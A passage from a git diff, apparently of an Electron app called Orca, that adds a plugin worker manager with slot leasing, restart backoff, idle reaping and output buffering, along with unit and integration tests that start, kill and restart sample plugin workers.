+      .fn<PluginWorkerFactory>()
+      .mockResolvedValueOnce(first)
+      .mockResolvedValueOnce(second)
+    const subject = manager(factory, { idleReapMs: 100 })
+    await subject.ensureActive(spec('demo'))
+
+    subject.reapIdle(201)
+    await flush()
+    expect(first.dispose).toHaveBeenCalledOnce()
+    expect(subject.runState('demo')).toBe('inactive')
+    await expect(subject.ensureActive(spec('demo'))).resolves.toBe(second)
+    await subject.disposeAll()
+  })
+
+  it('waits for an in-progress idle shutdown during manager disposal', async () => {
+    let finishShutdown!: () => void
+    const idle = worker(100)
+    idle.dispose.mockImplementation(
+      () =>
+        new Promise<void>((resolve) => {
+          finishShutdown = resolve
+        })
+    )
+    const subject = manager(vi.fn<PluginWorkerFactory>().mockResolvedValue(idle), {
+      idleReapMs: 100
+    })
+    await subject.ensureActive(spec('demo'))
+    subject.reapIdle(201)
+    let disposed = false
+    const disposal = subject.disposeAll().then(() => {
+      disposed = true
+    })
+    await flush()
+    expect(disposed).toBe(false)
+
+    finishShutdown()
+    await disposal
+    expect(disposed).toBe(true)
+  })
+})
diff --git a/src/main/plugins/plugin-worker-manager.ts b/src/main/plugins/plugin-worker-manager.ts
new file mode 100644
index 000000000..30e3d0c31
--- /dev/null
+++ b/src/main/plugins/plugin-worker-manager.ts
@@ -0,0 +1,309 @@
+import {
+  PLUGIN_WORKER_IDLE_REAP_MS,
+  PLUGIN_WORKER_MAX_ACTIVE_DEFAULT
+} from '../../shared/plugins/plugin-host-protocol'
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+import {
+  PluginSupervisor,
+  type PluginRestartDecision,
+  type PluginRunState
+} from './plugin-supervisor'
+import type { PluginWorkerHandle, PluginWorkerHostCallExecutor } from './plugin-host-process'
+import { PluginWorkerSlotPool } from './plugin-worker-slot-pool'
+import {
+  startPluginWorkerAttempt,
+  type PluginWorkerFactory,
+  type PluginWorkerSpawnSpec,
+  type StartedPluginWorker
+} from './plugin-worker-startup'
+import { runPluginWorkerRestartLoop } from './plugin-worker-restart-loop'
+import { pluginWorkerSpawnSpecsEqual } from './plugin-worker-spawn-spec'
+
+export type { PluginWorkerFactory, PluginWorkerSpawnSpec } from './plugin-worker-startup'
+
+export type PluginWorkerManagerOptions = {
+  entryPath: string
+  maxActive?: number
+  idleReapMs?: number
+  workerFactory?: PluginWorkerFactory
+  executeHostCall: (
+    pluginKey: string,
+    method: string,
+    params: unknown
+  ) => ReturnType<PluginWorkerHostCallExecutor>
+  log: (pluginKey: string, level: 'info' | 'warn' | 'error', line: string) => void
+  onWorkerStateChange: (pluginKey: string) => void
+  onWorkerGone: (pluginKey: string) => void
+}
+
+type ActivationRecord = {
+  spec: PluginWorkerSpawnSpec
+  generation: number
+  controller: AbortController
+  task: Promise<PluginWorkerHandle>
+}
+
+/** Owns lazy activation, bounded capacity, restart policy, cancellation, and idle reap. */
+export class PluginWorkerManager {
+  private readonly supervisor = new PluginSupervisor()
+  private readonly workers = new Map<string, StartedPluginWorker>()
+  private readonly activations = new Map<string, ActivationRecord>()
+  private readonly knownSpecs = new Map<string, PluginWorkerSpawnSpec>()
+  private readonly generations = new Map<string, number>()
+  private readonly stoppingWorkers = new Set<Promise<void>>()
+  private readonly slots: PluginWorkerSlotPool
+  private readonly idleReapMs: number
+  private disposed = false
+
+  constructor(private readonly options: PluginWorkerManagerOptions) {
+    this.slots = new PluginWorkerSlotPool(options.maxActive ?? PLUGIN_WORKER_MAX_ACTIVE_DEFAULT)
+    this.idleReapMs = options.idleReapMs ?? PLUGIN_WORKER_IDLE_REAP_MS
+  }
+
+  runState(pluginKey: string): PluginRunState {
+    return this.supervisor.getState(pluginKey)
+  }
+
+  restartCount(pluginKey: string): number {
+    return this.supervisor.restartCount(pluginKey)
+  }
+
+  trackedSpecs(): ReadonlyMap<string, PluginWorkerSpawnSpec> {
+    return new Map(this.knownSpecs)
+  }
+
+  async ensureActive(spec: PluginWorkerSpawnSpec): Promise<PluginWorkerHandle> {
+    if (this.disposed) {
+      throw new Error('plugin workers are shut down')
+    }
+    if (this.supervisor.getState(spec.pluginKey) === 'errored') {
+      throw new Error(`plugin ${spec.pluginKey} is errored after repeated failures`)
+    }
+    for (;;) {
+      const existing = this.workers.get(spec.pluginKey)
+      const pending = this.activations.get(spec.pluginKey)
+      const activeSpec = existing?.spec ?? pending?.spec
+      if (!activeSpec) {
+        break
+      }
+      if (pluginWorkerSpawnSpecsEqual(activeSpec, spec)) {
+        return existing?.handle ?? pending!.task
+      }
+      // Why: refresh/trigger races can present a new dev manifest while the
+      // old revision is still starting. Cancel and re-check atomically enough
+      // that callers never join a stale activation by key alone.
+      await this.deactivate(spec.pluginKey)
+      if (this.disposed) {
+        throw new Error('plugin workers are shut down')
+      }
+    }
+    const generation = this.nextGeneration(spec.pluginKey)
+    this.knownSpecs.set(spec.pluginKey, spec)
+    this.supervisor.markRunning(spec.pluginKey, { resetRestarts: true })
+    return this.beginActivation(spec, generation)
+  }
+
+  private beginActivation(
+    spec: PluginWorkerSpawnSpec,
+    generation: number,
+    firstRestart?: Extract<PluginRestartDecision, { restart: true }>
+  ): Promise<PluginWorkerHandle> {
+    const controller = new AbortController()
+    const task = this.activate(spec, generation, controller.signal, firstRestart)
+    const record: ActivationRecord = { spec, generation, controller, task }
+    this.activations.set(spec.pluginKey, record)
+    void task.then(
+      () => this.finishActivation(spec.pluginKey, record),
+      () => this.finishActivation(spec.pluginKey, record)
+    )
+    return task
+  }
+
+  private finishActivation(pluginKey: string, record: ActivationRecord): void {
+    if (this.activations.get(pluginKey) === record) {
+      this.activations.delete(pluginKey)
+    }
+  }
+
+  private async activate(
+    spec: PluginWorkerSpawnSpec,
+    generation: number,
+    signal: AbortSignal,
+    firstRestart?: Extract<PluginRestartDecision, { restart: true }>
+  ): Promise<PluginWorkerHandle> {
+    return runPluginWorkerRestartLoop({
+      signal,
+      firstRestart,
+      assertActive: () => this.throwIfCancelled(spec.pluginKey, generation, signal),
+      start: async () => {
+        const worker = await startPluginWorkerAttempt({
+          spec,
+          generation,
+          signal,
+          slots: this.slots,
+          entryPath: this.options.entryPath,
+          factory: this.options.workerFactory,
+          executeHostCall: (method, params) =>
+            this.options.executeHostCall(spec.pluginKey, method, params),
+          log: (level, line) => this.options.log(spec.pluginKey, level, line),
+          assertActive: () => this.throwIfCancelled(spec.pluginKey, generation, signal),
+          onExit: (record, code) => this.handleUnexpectedExit(spec.pluginKey, record, code)
+        })
+        this.workers.set(spec.pluginKey, worker)
+        const earlyExit = worker.completeStart()
+        if (earlyExit.exited) {
+          this.detachWorker(spec.pluginKey, worker)
+          throw new Error(`worker exited immediately after ready (code ${earlyExit.code})`)
+        }
+        this.supervisor.markRunning(spec.pluginKey)
+        this.options.onWorkerStateChange(spec.pluginKey)
+        return worker.handle
+      },
+      recordFailure: (error) => this.recordFailure(spec.pluginKey, 'worker failed to start', error),
+      erroredError: (error) =>
+        new Error(
+          `plugin ${spec.pluginKey} is errored after repeated failures: ${this.errorText(error)}`
+        )
+    })
+  }
+
+  private handleUnexpectedExit(
+    pluginKey: string,
+    record: StartedPluginWorker,
+    code: number | null
+  ): void {
+    if (!this.detachWorker(pluginKey, record)) {
+      return
+    }
+    if (this.isCancelled(pluginKey, record.generation)) {
+      return
+    }
+    const decision = this.recordFailure(pluginKey, `worker exited unexpectedly (code ${code})`)
+    if (decision.restart) {
+      this.beginActivation(record.spec, record.generation, decision)
+    }
+  }
+
+  private recordFailure(
+    pluginKey: string,
+    context: string,
+    error?: unknown
+  ): PluginRestartDecision {
+    this.options.onWorkerGone(pluginKey)
+    const decision = this.supervisor.markExited(pluginKey, { crashed: true })
+    this.options.onWorkerStateChange(pluginKey)
+    if (decision.restart) {
+      this.options.log(
+        pluginKey,
+        'warn',
+        `${context}${error ? `: ${this.errorText(error)}` : ''}; restart ${decision.attempt} in ${decision.delayMs}ms`
+      )
+    } else if (decision.state === 'errored') {
+      this.options.log(pluginKey, 'error', `${context}; marked errored after repeated failures`)
+    }
+    return decision
+  }
+
+  private detachWorker(pluginKey: string, record: StartedPluginWorker): boolean {
+    if (this.workers.get(pluginKey) !== record) {
+      return false
+    }
+    this.workers.delete(pluginKey)
+    record.lease.release()
+    return true
+  }
+
+  deliverEventIfRunning(pluginKey: string, event: PluginEventName, payload: unknown): void {
+    this.workers.get(pluginKey)?.handle.deliverEvent(event, payload)
+  }
+
+  async deactivate(pluginKey: string): Promise<void> {
+    this.nextGeneration(pluginKey)
+    const activation = this.activations.get(pluginKey)
+    activation?.controller.abort()
+    const record = this.workers.get(pluginKey)
+    if (record) {
+      this.workers.delete(pluginKey)
+    }
+    this.options.onWorkerGone(pluginKey)
+    this.supervisor.reset(pluginKey)
+    this.knownSpecs.delete(pluginKey)
+    await Promise.all([
+      activation?.task.catch(() => undefined),
+      record?.handle.dispose().catch(() => undefined)
+    ])
+    record?.lease.release()
+  }
+
+  reapIdle(now = Date.now()): void {
+    for (const [pluginKey, record] of this.workers) {
+      if (
+        record.handle.inFlightCount() !== 0 ||
+        now - record.handle.lastActivityAt() <= this.idleReapMs
+      ) {
+        continue
+      }
+      this.nextGeneration(pluginKey)
+      this.knownSpecs.delete(pluginKey)
+      this.workers.delete(pluginKey)
+      this.options.onWorkerGone(pluginKey)
+      this.supervisor.markExited(pluginKey, { crashed: false })
+      this.options.log(pluginKey, 'info', 'worker reaped after idle period')
+      this.options.onWorkerStateChange(pluginKey)
+      const stopping = record.handle
+        .dispose()
+        .catch(() => undefined)
+        .finally(() => record.lease.release())
+      this.stoppingWorkers.add(stopping)
+      void stopping.then(() => this.stoppingWorkers.delete(stopping))
+    }
+  }
+
+  async disposeAll(): Promise<void> {
+    this.disposed = true
+    const pluginKeys = new Set([...this.activations.keys(), ...this.workers.keys()])
+    for (const key of pluginKeys) {
+      this.nextGeneration(key)
+      this.options.onWorkerGone(key)
+    }
+    const activations = [...this.activations.values()]
+    for (const activation of activations) {
+      activation.controller.abort()
+    }
+    this.slots.dispose()
+    const workers = [...this.workers.values()]
+    this.workers.clear()
+    this.knownSpecs.clear()
+    const stoppingWorkers = [...this.stoppingWorkers]
+    await Promise.all([
+      ...stoppingWorkers,
+      ...activations.map((activation) => activation.task.catch(() => undefined)),
+      ...workers.map(async (record) => {
+        await record.handle.dispose().catch(() => undefined)
+        record.lease.release()
+      })
+    ])
+  }
+
+  private nextGeneration(pluginKey: string): number {
+    const generation = (this.generations.get(pluginKey) ?? 0) + 1
+    this.generations.set(pluginKey, generation)
+    return generation
+  }
+
+  private isCancelled(pluginKey: string, generation: number, signal?: AbortSignal): boolean {
+    return (
+      this.disposed || signal?.aborted === true || this.generations.get(pluginKey) !== generation
+    )
+  }
+
+  private throwIfCancelled(pluginKey: string, generation: number, signal: AbortSignal): void {
+    if (this.isCancelled(pluginKey, generation, signal)) {
+      throw new Error('plugin worker activation was cancelled')
+    }
+  }
+
+  private errorText(error: unknown): string {
+    return error instanceof Error ? error.message : String(error)
+  }
+}
diff --git a/src/main/plugins/plugin-worker-output-buffer.test.ts b/src/main/plugins/plugin-worker-output-buffer.test.ts
new file mode 100644
index 000000000..074184fda
--- /dev/null
+++ b/src/main/plugins/plugin-worker-output-buffer.test.ts
@@ -0,0 +1,22 @@
+import { PassThrough } from 'node:stream'
+import { describe, expect, it, vi } from 'vitest'
+import {
+  PLUGIN_WORKER_OUTPUT_LINE_LIMIT,
+  pipePluginWorkerOutput
+} from './plugin-worker-output-buffer'
+
+describe('pipePluginWorkerOutput', () => {
+  it('bounds an unterminated line and resumes after its newline', () => {
+    const stream = new PassThrough()
+    const log = vi.fn()
+    pipePluginWorkerOutput(stream, 'info', log)
+
+    stream.write('x'.repeat(PLUGIN_WORKER_OUTPUT_LINE_LIMIT + 1_000))
+    stream.write('discarded')
+    expect(log).toHaveBeenCalledOnce()
+    expect(log.mock.calls[0]?.[1]).toHaveLength(PLUGIN_WORKER_OUTPUT_LINE_LIMIT)
+
+    stream.write('\nok\n')
+    expect(log).toHaveBeenLastCalledWith('info', 'ok')
+  })
+})
diff --git a/src/main/plugins/plugin-worker-output-buffer.ts b/src/main/plugins/plugin-worker-output-buffer.ts
new file mode 100644
index 000000000..dfbe0478c
--- /dev/null
+++ b/src/main/plugins/plugin-worker-output-buffer.ts
@@ -0,0 +1,70 @@
+import type { Readable } from 'node:stream'
+
+type PluginWorkerOutputSink = (level: 'info' | 'warn' | 'error', line: string) => void
+
+export const PLUGIN_WORKER_OUTPUT_LINE_LIMIT = 8192
+const TRUNCATION_SUFFIX = '… [truncated]'
+
+/** Keeps a worker's unterminated output bounded even if it never writes a newline. */
+export function pipePluginWorkerOutput(
+  stream: Readable | null,
+  level: 'info' | 'error',
+  log: PluginWorkerOutputSink
+): void {
+  if (!stream) {
+    return
+  }
+  let buffered = ''
+  let discarding = false
+
+  function emit(line: string, truncated = false): void {
+    if (line.trim().length > 0) {
+      log(
+        level,
+        truncated
+          ? `${line.slice(0, PLUGIN_WORKER_OUTPUT_LINE_LIMIT - TRUNCATION_SUFFIX.length)}${TRUNCATION_SUFFIX}`
+          : line
+      )
+    }
+  }
+
+  stream.setEncoding('utf8')
+  stream.on('data', (chunk: string) => {
+    let remaining = chunk
+    while (remaining.length > 0) {
+      if (discarding) {
+        const newline = remaining.indexOf('\n')
+        if (newline < 0) {
+          return
+        }
+        discarding = false
+        remaining = remaining.slice(newline + 1)
+        continue
+      }
+      const newline = remaining.indexOf('\n')
+      const segment = newline < 0 ? remaining : remaining.slice(0, newline)
+      const available = PLUGIN_WORKER_OUTPUT_LINE_LIMIT - buffered.length
+      if (segment.length > available) {
+        emit(buffered + segment.slice(0, available), true)
+        buffered = ''
+        discarding = newline < 0
+      } else {
+        buffered += segment
+        if (newline >= 0) {
+          emit(buffered)
+          buffered = ''
+        }
+      }
+      if (newline < 0) {
+        return
+      }
+      remaining = remaining.slice(newline + 1)
+    }
+  })
+  stream.on('end', () => {
+    if (!discarding) {
+      emit(buffered)
+    }
+    buffered = ''
+  })
+}
diff --git a/src/main/plugins/plugin-worker-reconciliation.ts b/src/main/plugins/plugin-worker-reconciliation.ts
new file mode 100644
index 000000000..21b95e069
--- /dev/null
+++ b/src/main/plugins/plugin-worker-reconciliation.ts
@@ -0,0 +1,22 @@
+import { capabilityKinds } from '../../shared/plugins/plugin-capabilities'
+import type { DiscoveredPlugin, ValidDiscoveredPlugin } from './plugin-discovery'
+import { isInvalidDiscoveredPlugin } from './plugin-discovery'
+import type { PluginWorkerSpawnSpec } from './plugin-worker-manager'
+import { buildPluginWorkerSpawnSpec } from './plugin-worker-spawn-spec'
+
+export function collectApprovedWorkerSpecs(
+  plugins: readonly DiscoveredPlugin[],
+  isApproved: (plugin: ValidDiscoveredPlugin) => boolean
+): ReadonlyMap<string, PluginWorkerSpawnSpec> {
+  const specs = new Map<string, PluginWorkerSpawnSpec>()
+  for (const plugin of plugins) {
+    if (isInvalidDiscoveredPlugin(plugin) || !plugin.manifest.main || !isApproved(plugin)) {
+      continue
+    }
+    specs.set(
+      plugin.pluginKey,
+      buildPluginWorkerSpawnSpec(plugin, capabilityKinds(plugin.manifest.capabilities))
+    )
+  }
+  return specs
+}
diff --git a/src/main/plugins/plugin-worker-restart-loop.ts b/src/main/plugins/plugin-worker-restart-loop.ts
new file mode 100644
index 000000000..2c06f6ad7
--- /dev/null
+++ b/src/main/plugins/plugin-worker-restart-loop.ts
@@ -0,0 +1,50 @@
+import type { PluginRestartDecision } from './plugin-supervisor'
+
+function cancellationError(): Error {
+  return new Error('plugin worker activation was cancelled')
+}
+
+function waitForBackoff(delayMs: number, signal: AbortSignal): Promise<void> {
+  return new Promise<void>((resolve, reject) => {
+    const timer = setTimeout(() => {
+      signal.removeEventListener('abort', onAbort)
+      resolve()
+    }, delayMs)
+    timer.unref?.()
+    function onAbort(): void {
+      clearTimeout(timer)
+      reject(cancellationError())
+    }
+    signal.addEventListener('abort', onAbort, { once: true })
+    if (signal.aborted) {
+      onAbort()
+    }
+  })
+}
+
+export async function runPluginWorkerRestartLoop<T>(options: {
+  signal: AbortSignal
+  firstRestart?: Extract<PluginRestartDecision, { restart: true }>
+  assertActive: () => void
+  start: () => Promise<T>
+  recordFailure: (error: unknown) => PluginRestartDecision
+  erroredError: (error: unknown) => Error
+}): Promise<T> {
+  let restart = options.firstRestart
+  for (;;) {
+    if (restart) {
+      await waitForBackoff(restart.delayMs, options.signal)
+    }
+    options.assertActive()
+    try {
+      return await options.start()
+    } catch (error) {
+      options.assertActive()
+      const decision = options.recordFailure(error)
+      if (!decision.restart) {
+        throw options.erroredError(error)
+      }
+      restart = decision
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-worker-slot-pool.ts b/src/main/plugins/plugin-worker-slot-pool.ts
new file mode 100644
index 000000000..5b86acf38
--- /dev/null
+++ b/src/main/plugins/plugin-worker-slot-pool.ts
@@ -0,0 +1,102 @@
+export type PluginWorkerSlotLease = {
+  release(): void
+}
+
+type SlotWaiter = {
+  signal: AbortSignal
+  resolve: (lease: PluginWorkerSlotLease) => void
+  reject: (error: Error) => void
+  onAbort: () => void
+}
+
+function cancellationError(): Error {
+  return new Error('plugin worker activation was cancelled')
+}
+
+/** Atomically leases the bounded worker slots and hands releases to queued
+ * activations in FIFO order. */
+export class PluginWorkerSlotPool {
+  private readonly waiters: SlotWaiter[] = []
+  private leased = 0
+  private disposed = false
+
+  constructor(private readonly capacity: number) {
+    if (!Number.isInteger(capacity) || capacity <= 0) {
+      throw new Error('plugin worker capacity must be a positive integer')
+    }
+  }
+
+  acquire(signal: AbortSignal): Promise<PluginWorkerSlotLease> {
+    if (this.disposed) {
+      return Promise.reject(new Error('plugin worker slots are shut down'))
+    }
+    if (signal.aborted) {
+      return Promise.reject(cancellationError())
+    }
+    if (this.leased < this.capacity && this.waiters.length === 0) {
+      this.leased += 1
+      return Promise.resolve(this.createLease())
+    }
+    return new Promise<PluginWorkerSlotLease>((resolve, reject) => {
+      let cancelled = false
+      const waiter: SlotWaiter = {
+        signal,
+        resolve,
+        reject,
+        onAbort: () => {
+          if (cancelled) {
+            return
+          }
+          cancelled = true
+          const index = this.waiters.indexOf(waiter)
+          if (index >= 0) {
+            this.waiters.splice(index, 1)
+          }
+          signal.removeEventListener('abort', waiter.onAbort)
+          reject(cancellationError())
+          this.drain()
+        }
+      }
+      this.waiters.push(waiter)
+      signal.addEventListener('abort', waiter.onAbort, { once: true })
+    })
+  }
+
+  dispose(): void {
+    if (this.disposed) {
+      return
+    }
+    this.disposed = true
+    for (const waiter of this.waiters.splice(0)) {
+      waiter.signal.removeEventListener('abort', waiter.onAbort)
+      waiter.reject(new Error('plugin worker slots are shut down'))
+    }
+  }
+
+  private createLease(): PluginWorkerSlotLease {
+    let released = false
+    return {
+      release: () => {
+        if (released) {
+          return
+        }
+        released = true
+        this.leased -= 1
+        this.drain()
+      }
+    }
+  }
+
+  private drain(): void {
+    while (!this.disposed && this.leased < this.capacity && this.waiters.length > 0) {
+      const waiter = this.waiters.shift()!
+      waiter.signal.removeEventListener('abort', waiter.onAbort)
+      if (waiter.signal.aborted) {
+        waiter.reject(cancellationError())
+        continue
+      }
+      this.leased += 1
+      waiter.resolve(this.createLease())
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-worker-spawn-spec.ts b/src/main/plugins/plugin-worker-spawn-spec.ts
new file mode 100644
index 000000000..dd12eff37
--- /dev/null
+++ b/src/main/plugins/plugin-worker-spawn-spec.ts
@@ -0,0 +1,41 @@
+import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import type { PluginWorkerSpawnSpec } from './plugin-worker-startup'
+
+export function buildPluginWorkerSpawnSpec(
+  plugin: ValidDiscoveredPlugin,
+  grantedCapabilities: readonly PluginCapabilityKind[]
+): PluginWorkerSpawnSpec {
+  if (!plugin.manifest.main) {
+    throw new Error(`plugin ${plugin.pluginKey} has no worker entry`)
+  }
+  return {
+    pluginKey: plugin.pluginKey,
+    rootDir: plugin.rootDir,
+    mainEntry: plugin.manifest.main,
+    // Dev plugins keep one root across manifest edits; include the parsed
+    // manifest so hot reload cannot reuse a worker with stale contributions.
+    manifestRevision: JSON.stringify(plugin.manifest),
+    grantedCapabilities
+  }
+}
+
+export function pluginWorkerSpawnSpecsEqual(
+  left: PluginWorkerSpawnSpec,
+  right: PluginWorkerSpawnSpec
+): boolean {
+  if (
+    left.pluginKey !== right.pluginKey ||
+    left.rootDir !== right.rootDir ||
+    left.mainEntry !== right.mainEntry ||
+    left.manifestRevision !== right.manifestRevision
+  ) {
+    return false
+  }
+  const leftCapabilities = [...left.grantedCapabilities].sort()
+  const rightCapabilities = [...right.grantedCapabilities].sort()
+  return (
+    leftCapabilities.length === rightCapabilities.length &&
+    leftCapabilities.every((capability, index) => capability === rightCapabilities[index])
+  )
+}
diff --git a/src/main/plugins/plugin-worker-startup.ts b/src/main/plugins/plugin-worker-startup.ts
new file mode 100644
index 000000000..efc527361
--- /dev/null
+++ b/src/main/plugins/plugin-worker-startup.ts
@@ -0,0 +1,99 @@
+import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
+import {
+  startPluginWorker,
+  type PluginWorkerHandle,
+  type PluginWorkerHostCallExecutor,
+  type PluginWorkerLogSink
+} from './plugin-host-process'
+import type { PluginWorkerSlotLease, PluginWorkerSlotPool } from './plugin-worker-slot-pool'
+
+export type PluginWorkerSpawnSpec = {
+  pluginKey: string
+  rootDir: string
+  mainEntry: string
+  manifestRevision?: string
+  grantedCapabilities: readonly PluginCapabilityKind[]
+}
+
+export type PluginWorkerFactory = (options: {
+  pluginId: string
+  rootDir: string
+  mainEntry: string
+  entryPath: string
+  grantedCapabilities: readonly PluginCapabilityKind[]
+  executeHostCall: PluginWorkerHostCallExecutor
+  log: PluginWorkerLogSink
+  signal: AbortSignal
+}) => Promise<PluginWorkerHandle>
+
+export type StartedPluginWorker = {
+  spec: PluginWorkerSpawnSpec
+  generation: number
+  handle: PluginWorkerHandle
+  lease: PluginWorkerSlotLease
+  completeStart(): { exited: boolean; code: number | null }
+}
+
+export async function startPluginWorkerAttempt(options: {
+  spec: PluginWorkerSpawnSpec
+  generation: number
+  signal: AbortSignal
+  slots: PluginWorkerSlotPool
+  entryPath: string
+  factory?: PluginWorkerFactory
+  executeHostCall: PluginWorkerHostCallExecutor
+  log: PluginWorkerLogSink
+  assertActive: () => void
+  onExit: (worker: StartedPluginWorker, code: number | null) => void
+}): Promise<StartedPluginWorker> {
+  const lease = await options.slots.acquire(options.signal)
+  let handle: PluginWorkerHandle | null = null
+  let retained = false
+  try {
+    options.assertActive()
+    const factory = options.factory ?? startPluginWorker
+    handle = await factory({
+      pluginId: options.spec.pluginKey,
+      rootDir: options.spec.rootDir,
+      mainEntry: options.spec.mainEntry,
+      entryPath: options.entryPath,
+      grantedCapabilities: options.spec.grantedCapabilities,
+      executeHostCall: options.executeHostCall,
+      log: options.log,
+      signal: options.signal
+    })
+    options.assertActive()
+    let startCompleted = false
+    let earlyExit = false
+    let earlyExitCode: number | null = null
+    const worker: StartedPluginWorker = {
+      spec: options.spec,
+      generation: options.generation,
+      handle,
+      lease,
+      completeStart: () => {
+        startCompleted = true
+        return { exited: earlyExit, code: earlyExitCode }
+      }
+    }
+    handle.onExit((code) => {
+      if (!startCompleted) {
+        earlyExit = true
+        earlyExitCode = code
+        return
+      }
+      options.onExit(worker, code)
+    })
+    retained = true
+    return worker
+  } catch (error) {
+    if (handle) {
+      await handle.dispose().catch(() => undefined)
+    }
+    throw error
+  } finally {
+    if (!retained) {
+      lease.release()
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-worker-supervision.integration.test.ts b/src/main/plugins/plugin-worker-supervision.integration.test.ts
new file mode 100644
index 000000000..06e41321a
--- /dev/null
+++ b/src/main/plugins/plugin-worker-supervision.integration.test.ts
@@ -0,0 +1,177 @@
+import { mkdtemp, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { performance } from 'node:perf_hooks'
+import { build } from 'esbuild'
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+import type { PluginWorkerHandle } from './plugin-host-process'
+import { PluginWorkerManager, type PluginWorkerSpawnSpec } from './plugin-worker-manager'
+
+type LogEntry = {
+  at: number
+  level: 'info' | 'warn' | 'error'
+  line: string
+}
+
+const pluginRoots: string[] = []
+const managers: PluginWorkerManager[] = []
+let bundleRoot = ''
+let hostEntryPath = ''
+
+function createStateNotifications(): {
+  notify: () => void
+  waitFor: (predicate: () => boolean, description: string, timeoutMs?: number) => Promise<void>
+} {
+  const listeners = new Set<() => void>()
+  return {
+    notify: () => {
+      for (const listener of listeners) {
+        listener()
+      }
+    },
+    waitFor: (predicate, description, timeoutMs = 10_000) => {
+      if (predicate()) {
+        return Promise.resolve()
+      }
+      return new Promise<void>((resolve, reject) => {
+        const timeout = setTimeout(() => {
+          listeners.delete(check)
+          reject(new Error(`timed out waiting for ${description}`))
+        }, timeoutMs)
+        const check = (): void => {
+          if (!predicate()) {
+            return
+          }
+          clearTimeout(timeout)
+          listeners.delete(check)
+          resolve()
+        }
+        listeners.add(check)
+      })
+    }
+  }
+}
+
+beforeAll(async () => {
+  bundleRoot = await mkdtemp(join(tmpdir(), 'orca-plugin-host-bundle-'))
+  hostEntryPath = join(bundleRoot, 'plugin-host-entry.cjs')
+  await build({
+    entryPoints: [join(process.cwd(), 'src', 'main', 'plugins', 'plugin-host-entry.ts')],
+    outfile: hostEntryPath,
+    bundle: true,
+    platform: 'node',
+    target: 'node18',
+    format: 'cjs',
+    sourcemap: false,
+    logLevel: 'silent'
+  })
+}, 30_000)
+
+afterEach(async () => {
+  await Promise.all(managers.splice(0).map((manager) => manager.disposeAll()))
+  await Promise.all(pluginRoots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+afterAll(async () => {
+  if (bundleRoot) {
+    await rm(bundleRoot, { recursive: true, force: true })
+  }
+})
+
+async function createPluginSpec(
+  source = `export default function activate(orca) { orca.commands.register('run', async () => ({ ok: true })); }`
+): Promise<PluginWorkerSpawnSpec> {
+  const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-supervision-'))
+  pluginRoots.push(rootDir)
+  await writeFile(join(rootDir, 'main.mjs'), source)
+  return {
+    pluginKey: 'orca-samples.supervision',
+    rootDir,
+    mainEntry: 'main.mjs',
+    grantedCapabilities: []
+  }
+}
+
+describe('real plugin worker supervision', () => {
+  it('terminates and supervises a live worker that disconnects IPC', async () => {
+    const spec = await createPluginSpec(`
+      export default function activate(orca) {
+        orca.commands.register('disconnect', async () => {
+          process.disconnect?.()
+          setInterval(() => {}, 1_000)
+          await new Promise(() => {})
+        })
+      }
+    `)
+    const notifications = createStateNotifications()
+    const manager = new PluginWorkerManager({
+      entryPath: hostEntryPath,
+      executeHostCall: async () => ({ ok: true, value: null }),
+      log: vi.fn(),
+      onWorkerStateChange: notifications.notify,
+      onWorkerGone: vi.fn()
+    })
+    managers.push(manager)
+
+    const worker = await manager.ensureActive(spec)
+    const command = worker.invokeCommand('disconnect')
+
+    await expect(command).rejects.toThrow('disconnected')
+    await notifications.waitFor(
+      () => manager.runState(spec.pluginKey) === 'restarting',
+      'disconnected worker to enter supervised backoff'
+    )
+    expect(manager.restartCount(spec.pluginKey)).toBe(1)
+  })
+
+  it('restarts forced exits with 500/2000/5000ms backoff, then stays errored', async () => {
+    const spec = await createPluginSpec()
+    const notifications = createStateNotifications()
+    const logs: LogEntry[] = []
+    const manager = new PluginWorkerManager({
+      entryPath: hostEntryPath,
+      executeHostCall: async () => ({ ok: true, value: null }),
+      log: (_pluginKey, level, line) => logs.push({ at: performance.now(), level, line }),
+      onWorkerStateChange: notifications.notify,
+      onWorkerGone: vi.fn()
+    })
+    managers.push(manager)
+
+    let current: PluginWorkerHandle = await manager.ensureActive(spec)
+    expect(current.commands).toContain('run')
+    expect(manager.runState(spec.pluginKey)).toBe('running')
+
+    for (const [index, delayMs] of [500, 2_000, 5_000].entries()) {
+      const exited = current
+      exited.kill()
+      await notifications.waitFor(
+        () =>
+          manager.runState(spec.pluginKey) === 'restarting' &&
+          manager.restartCount(spec.pluginKey) === index + 1,
+        `restart ${index + 1} to enter backoff`
+      )
+      const restartLog = logs.find((entry) =>
+        entry.line.includes(`restart ${index + 1} in ${delayMs}ms`)
+      )
+      expect(restartLog?.level).toBe('warn')
+
+      current = await manager.ensureActive(spec)
+
+      expect(current).not.toBe(exited)
+      expect(manager.runState(spec.pluginKey)).toBe('running')
+      expect(performance.now() - restartLog!.at).toBeGreaterThanOrEqual(delayMs - 25)
+    }
+
+    current.kill()
+    await notifications.waitFor(
+      () => manager.runState(spec.pluginKey) === 'errored',
+      'fourth forced exit to become terminally errored'
+    )
+
+    expect(manager.restartCount(spec.pluginKey)).toBe(3)
+    expect(
+      logs.some((entry) => entry.level === 'error' && entry.line.includes('marked errored'))
+    ).toBe(true)
+    await expect(manager.ensureActive(spec)).rejects.toThrow('errored after repeated failures')
+  }, 45_000)
+})
diff --git a/src/main/runtime/orca-runtime.ts b/src/main/runtime/orca-runtime.ts
index ede2767ea..6097f2810 100644
--- a/src/main/runtime/orca-runtime.ts
+++ b/src/main/runtime/orca-runtime.ts
@@ -473,7 +473,7 @@ import {
 } from '../../shared/claude-agent-teams-tmux-compat'
 import { joinWorktreeRelativePath } from './runtime-relative-paths'
 import { collectMemorySnapshot } from '../memory/collector'
-import { BrowserWindow, ipcMain } from 'electron'
+import { BrowserWindow, ipcMain, Notification } from 'electron'
 import type { AgentBrowserBridge } from '../browser/agent-browser-bridge'
 import type { BrowserBackend } from '../browser/browser-backend'
